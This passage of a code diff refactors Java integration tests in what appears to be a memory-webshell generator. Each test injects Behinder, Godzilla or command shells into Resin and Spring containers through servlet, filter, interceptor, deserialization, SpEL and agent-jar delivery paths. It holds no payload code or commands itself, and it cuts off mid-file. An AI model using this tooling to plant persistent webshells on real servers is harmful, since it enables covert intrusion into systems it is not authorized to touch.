-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -74,7 +74,7 @@ public class Resin4058ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Resin4067ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -75,7 +75,7 @@ public class Resin4067ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springmvc;
 import com.reajason.javaweb.memshell.SpringWebMvcShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,27 +43,27 @@ public class SpringBoot2ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -75,7 +75,7 @@ public class SpringBoot2ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springmvc;
 import com.reajason.javaweb.memshell.SpringWebMvcShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,24 +41,24 @@ public class SpringBoot2WarContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
-                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL),
+                arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64)
         );
     }
 
@@ -70,7 +70,7 @@ public class SpringBoot2WarContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springmvc;
 import com.reajason.javaweb.memshell.SpringWebMvcShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,15 +43,15 @@ public class SpringBoot3ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -63,7 +63,7 @@ public class SpringBoot3ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springwebflux;
 import com.reajason.javaweb.memshell.SpringWebFluxShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,14 +41,14 @@ public class SpringBoot2WebFluxContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
+                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64)
         );
     }
 
@@ -61,7 +61,7 @@ public class SpringBoot2WebFluxContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springwebflux;
 import com.reajason.javaweb.memshell.SpringWebFluxShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -41,14 +41,14 @@ public class SpringBoot3WebFluxContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
+                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64),
+                arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64)
         );
     }
 
@@ -60,7 +60,7 @@ public class SpringBoot3WebFluxContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
